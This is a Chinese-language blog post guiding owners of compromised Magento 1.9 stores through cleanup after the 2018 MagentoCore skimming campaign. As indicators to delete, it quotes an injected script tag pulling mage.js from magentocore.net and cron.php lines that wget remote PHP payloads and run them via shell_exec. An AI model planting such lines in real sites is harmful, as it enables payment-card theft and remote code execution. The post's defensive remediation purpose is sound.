【創科新異】Magento 遭入侵 簡易自救

Published on 10-02-2019

2018年8月30日著名電子商務平台Magento 遭入侵。筆者本人也受害,現作出簡易自急救指南(筆者的是Magento1.9)。

1)被入侵網站會被列入GOOGLE 黑名單

也可以用https://sitecheck.sucuri.net/ 作出檢查

2) 登入網站後台,把System/Configuration/General/Design中的文字刪去

Miscellaneous Scripts:

<script type=”text/javascript” src=”https://magentocore.net/mage/mage.js”></script>

Miscellaneous HTML:

<script type=”text/javascript” src=”https://magentocore.net/mage/mage.js”></script>

3) 更改後台User Password ,筆者是利用phpmyadmin,在SQL 打

UPDATE admin_user SET `password` = md5(‘new_password’), is_active = 1 WHERE `username` = ‘admin_user’;

及把可疑賬戶刪去

4) 更改SQL password及更新/magento1.9/app/etc/local.xml 的密碼

<password><![CDATA[new_password]]></password>

5)把magento/cron.php 中的

shell_exec(“wget -c https://magentocore.net/clean.json -O ./app/code/core/clean.php 2>&1”);

shell_exec(“wget -c https://magentocore.net/clear.json -O ./app/code/core/clear.php 2>&1”);

shell_exec(“php ./app/code/core/clean.php 2>&1”);

shell_exec(“php ./app/code/core/clear.php 2>&1”);

unlink(‘./app/code/core/clean.php’);

unlink(‘./app/code/core/clear.php’);

或類似的指令,全部在前方加#或//或刪去(記得先備份),再把magento/app/code/core/clear.php 更名或刪去。

6)更新magento(1.9 最新版本為1.9.3.9)

7) 有使用phpmyadmin 的,請使用.htaccess 來限制IP登入

allow from Your WAN IP

allow from Your LAN IP

deny from all

8)可使用防毒軟體如ClamAV 進行掃毒

(圖片來源:Magento)

二次元的神農氏

*本文屬個人研究,用家需要自行承擔更改程式碼錯誤或失敗的風險。

版權屬作者所有,普洛托斯時聞獲作者授權刊登,作者保留一切權利。

參考資料

-逾7,000家採用Magento的電子商務網站遭植入惡意程式,瞄準消費者的信用卡資料:https://www.ithome.com.tw/news/125629

-MAGENTO Resources:https://magento.com/resources/technical

-Magento: Sobre o malware magentocore.net

https://cursomagento.com.br/como-remover-malware-magentocore-net.html

-Linux 系統安裝防毒 — ClamAV — CentOS:http://blog.xuite.net/tolarku/blog/302285776-Linux+%E7%B3%BB%E7%B5%B1%E5%AE%89%E8%A3%9D%E9%98%B2%E6%AF%92+-+ClamAV+-+CentOS

-MagentoCore skimmer most aggressive to date:

https://gwillem.gitlab.io/2018/08/30/magentocore.net_skimmer_most_aggressive_to_date

More Stories
【戰報】Jonny Clayton PDC 大師賽捧盃 職業生涯首奪個人錦標